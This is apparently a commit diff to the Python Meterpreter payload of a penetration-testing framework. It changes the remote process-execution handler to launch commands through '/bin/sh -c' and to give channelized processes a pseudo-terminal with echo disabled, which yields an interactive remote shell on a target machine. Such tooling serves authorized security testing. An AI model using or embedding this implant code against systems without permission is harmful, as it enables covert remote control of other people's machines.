|
12 | 12 |
|
13 | 13 | has_windll = hasattr(ctypes, 'windll')
|
14 | 14 |
|
| 15 | +try: |
| 16 | + import pty |
| 17 | + has_pty = True |
| 18 | +except ImportError: |
| 19 | + has_pty = False |
| 20 | + |
15 | 21 | try:
|
16 | 22 | import pwd
|
17 | 23 | has_pwd = True
|
18 | 24 | except ImportError:
|
19 | 25 | has_pwd = False
|
20 | 26 |
|
| 27 | +try: |
| 28 | + import termios |
| 29 | + has_termios = True |
| 30 | +except ImportError: |
| 31 | + has_termios = False |
| 32 | + |
21 | 33 | try:
|
22 | 34 | import _winreg as winreg
|
23 | 35 | has_winreg = True
|
@@ -371,10 +383,25 @@ def stdapi_sys_process_execute(request, response):
|
371 | 383 | flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
|
372 | 384 | if len(cmd) == 0:
|
373 | 385 | return ERROR_FAILURE, response
|
374 |
| - args = [cmd] |
375 |
| - args.extend(shlex.split(raw_args)) |
| 386 | + if os.path.isfile('/bin/sh'): |
| 387 | + args = ['/bin/sh', '-c', cmd, raw_args] |
| 388 | + else: |
| 389 | + args = [cmd] |
| 390 | + args.extend(shlex.split(raw_args)) |
376 | 391 | if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
377 |
| - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) |
| 392 | + if has_pty: |
| 393 | + master, slave = pty.openpty() |
| 394 | + if has_termios: |
| 395 | + settings = termios.tcgetattr(master) |
| 396 | + settings[3] = settings[3] & ~termios.ECHO |
| 397 | + termios.tcsetattr(master, termios.TCSADRAIN, settings) |
| 398 | + proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) |
| 399 | + proc_h.stdin = os.fdopen(master, 'wb') |
| 400 | + proc_h.stdout = os.fdopen(master, 'rb') |
| 401 | + proc_h.stderr = open(os.devnull, 'rb') |
| 402 | + else: |
| 403 | + proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) |
| 404 | + proc_h.start() |
378 | 405 | else:
|
379 | 406 | proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
380 | 407 | proc_h_id = len(meterpreter.processes)
|
|
0 commit comments